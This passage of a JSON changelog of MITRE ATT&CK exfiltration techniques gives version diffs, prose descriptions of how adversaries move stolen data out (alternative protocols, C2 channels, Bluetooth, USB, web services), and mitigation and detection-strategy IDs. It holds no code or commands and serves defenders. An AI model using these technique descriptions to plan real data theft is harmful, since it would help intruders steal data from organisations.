"Alfredo Abarca"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"IaaS",
"Linux",
"macOS",
"Network Devices",
"Office Suite",
"SaaS",
"Windows"
],
"x_mitre_version": "1.6",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Cloud Storage: Cloud Storage Access\", \"Network Traffic: Network Traffic Flow\", \"Command: Command Execution\", \"Network Traffic: Network Traffic Content\", \"Application Log: Application Log Content\", \"File: File Access\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:10.460000+00:00\", \"old_value\": \"2025-04-15 19:58:54.894000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\"}}}",
"previous_version": "1.6",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1022: Restrict File and Directory Permissions",
"M1030: Network Segmentation",
"M1031: Network Intrusion Prevention",
"M1037: Filter Network Traffic",
"M1057: Data Loss Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0010: Cloud Storage (Cloud Storage Access)",
"DS0015: Application Log (Application Log Content)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)",
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0131: Behavioral Detection Strategy for Exfiltration Over Alternative Protocol"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-15 15:34:30.767000+00:00",
"modified": "2025-10-24 17:49:05.552000+00:00",
"name": "Exfiltration Over Asymmetric Encrypted Non-C2 Protocol",
"description": "Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAsymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. \n\nNetwork protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1048/002",
"external_id": "T1048.002"
},
{
"source_name": "University of Birmingham C2",
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"William Cain"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"ESXi"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Command: Command Execution\", \"File: File Access\", \"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:05.552000+00:00\", \"old_value\": \"2025-04-15 19:58:50.294000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) \"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1030: Network Segmentation",
"M1031: Network Intrusion Prevention",
"M1037: Filter Network Traffic",
"M1057: Data Loss Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)",
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0512: Detection of Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-15 15:30:42.378000+00:00",
"modified": "2025-10-24 17:48:59.332000+00:00",
"name": "Exfiltration Over Symmetric Encrypted Non-C2 Protocol",
"description": "Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nSymmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data. \n\nNetwork protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1048/001",
"external_id": "T1048.001"
},
{
"source_name": "University of Birmingham C2",
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"ESXi"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\", \"Command: Command Execution\", \"File: File Access\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:59.332000+00:00\", \"old_value\": \"2025-04-15 19:58:43.571000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) \\n\\nArtifacts and evidence of symmetric key exchange may be recoverable by analyzing network traffic or looking for hard-coded values within malware. If recovered, these keys can be used to decrypt network data from command and control channels. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) \\n-\\n-Artifacts and evidence of symmetric key exchange may be recoverable by analyzing network traffic or looking for hard-coded values within malware. If recovered, these keys can be used to decrypt network data from command and control channels. \"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1030: Network Segmentation",
"M1031: Network Intrusion Prevention",
"M1037: Filter Network Traffic"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)",
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0503: Behavioral Detection Strategy for Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-15 15:37:47.583000+00:00",
"modified": "2025-10-24 17:49:39.079000+00:00",
"name": "Exfiltration Over Unencrypted Non-C2 Protocol",
"description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.(Citation: copy_cmd_cisco)\n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1048/003",
"external_id": "T1048.003"
},
{
"source_name": "copy_cmd_cisco",
"description": "Cisco. (2022, August 16). copy - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.",
"url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/C_commands.html#wp1068167689"
},
{
"source_name": "University of Birmingham C2",
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"William Cain",
"Austin Clark, @c2defense"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "2.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"File: File Access\", \"Network Traffic: Network Traffic Content\", \"Command: Command Execution\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:39.079000+00:00\", \"old_value\": \"2025-04-15 19:59:24.041000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) \\n\\nFor network infrastructure devices, collect AAA logging to monitor for `copy` commands being run to exfiltrate configuration files to non-standard destinations over unencrypted protocols such as TFTP.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) \\n-\\n-For network infrastructure devices, collect AAA logging to monitor for `copy` commands being run to exfiltrate configuration files to non-standard destinations over unencrypted protocols such as TFTP.\"}}}",
"previous_version": "2.2",
"changelog_mitigations": {
"shared": [
"M1030: Network Segmentation",
"M1031: Network Intrusion Prevention",
"M1037: Filter Network Traffic",
"M1057: Data Loss Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)",
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0149: Detection of Exfiltration Over Unencrypted Non-C2 Protocol"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:41.804000+00:00",
"modified": "2025-10-24 17:49:06.675000+00:00",
"name": "Exfiltration Over C2 Channel",
"description": "Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1041",
"external_id": "T1041"
},
{
"source_name": "University of Birmingham C2",
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"William Cain"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "2.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Access\", \"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:06.675000+00:00\", \"old_value\": \"2025-04-15 19:58:51.597000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\"}}}",
"previous_version": "2.3",
"changelog_mitigations": {
"shared": [
"M1031: Network Intrusion Prevention",
"M1057: Data Loss Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)",
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0348: Detection Strategy for Exfiltration Over C2 Channel"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:25.159000+00:00",
"modified": "2025-10-24 17:48:47.042000+00:00",
"name": "Exfiltration Over Other Network Medium",
"description": "Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.\n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1011",
"external_id": "T1011"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Itzik Kotler, SafeBreach"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Content\", \"File: File Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:47.042000+00:00\", \"old_value\": \"2025-04-15 22:29:20.961000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\\n\\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\\n-\\n-Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1028: Operating System Configuration",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)",
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0077: Detection of Exfiltration Over Alternate Network Interfaces"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-09 17:07:57.392000+00:00",
"modified": "2025-10-24 17:48:51.095000+00:00",
"name": "Exfiltration Over Bluetooth",
"description": "Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.\n\nAdversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1011/001",
"external_id": "T1011.001"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Command: Command Execution\", \"File: File Access\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:51.095000+00:00\", \"old_value\": \"2025-04-15 19:58:35.466000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\\n\\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\\n-\\n-Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1028: Operating System Configuration",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)",
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0554: Detection of Bluetooth-Based Data Exfiltration"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:46.461000+00:00",
"modified": "2025-10-24 17:49:32.547000+00:00",
"name": "Exfiltration Over Physical Medium",
"description": "Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1052",
"external_id": "T1052"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"William Cain"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Access\", \"Drive: Drive Creation\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:32.547000+00:00\", \"old_value\": \"2025-04-15 19:59:17.041000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file access on removable media. Detect processes that execute when removable media are mounted.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1034: Limit Hardware Installation",
"M1042: Disable or Remove Feature or Program",
"M1057: Data Loss Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0016: Drive (Drive Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0123: Detection of Data Exfiltration via Removable Media"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-11 13:50:11.467000+00:00",
"modified": "2025-10-24 17:49:10.994000+00:00",
"name": "Exfiltration over USB",
"description": "Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1052/001",
"external_id": "T1052.001"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"William Cain"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Drive: Drive Creation\", \"File: File Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:10.994000+00:00\", \"old_value\": \"2025-04-15 19:58:55.347000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file access on removable media. Detect processes that execute when removable media are mounted.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1034: Limit Hardware Installation",
"M1042: Disable or Remove Feature or Program",
"M1057: Data Loss Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0016: Drive (Drive Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0220: Detection of USB-Based Data Exfiltration"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-09 12:51:45.570000+00:00",
"modified": "2025-10-24 17:48:42.061000+00:00",
"name": "Exfiltration Over Web Service",
"description": "Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.\n\nWeb service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1567",
"external_id": "T1567"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"William Cain"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Office Suite",
"SaaS",
"Windows"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Connection Creation\", \"Command: Command Execution\", \"Network Traffic: Network Traffic Flow\", \"File: File Access\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:42.061000+00:00\", \"old_value\": \"2025-04-15 19:58:25.560000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.\"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [
"M1021: Restrict Web-Based Content",
"M1057: Data Loss Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)",
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0548: Detection Strategy for Exfiltration Over Web Service"
],
"dropped": []
}
},
{
"type": "attack-pattern",
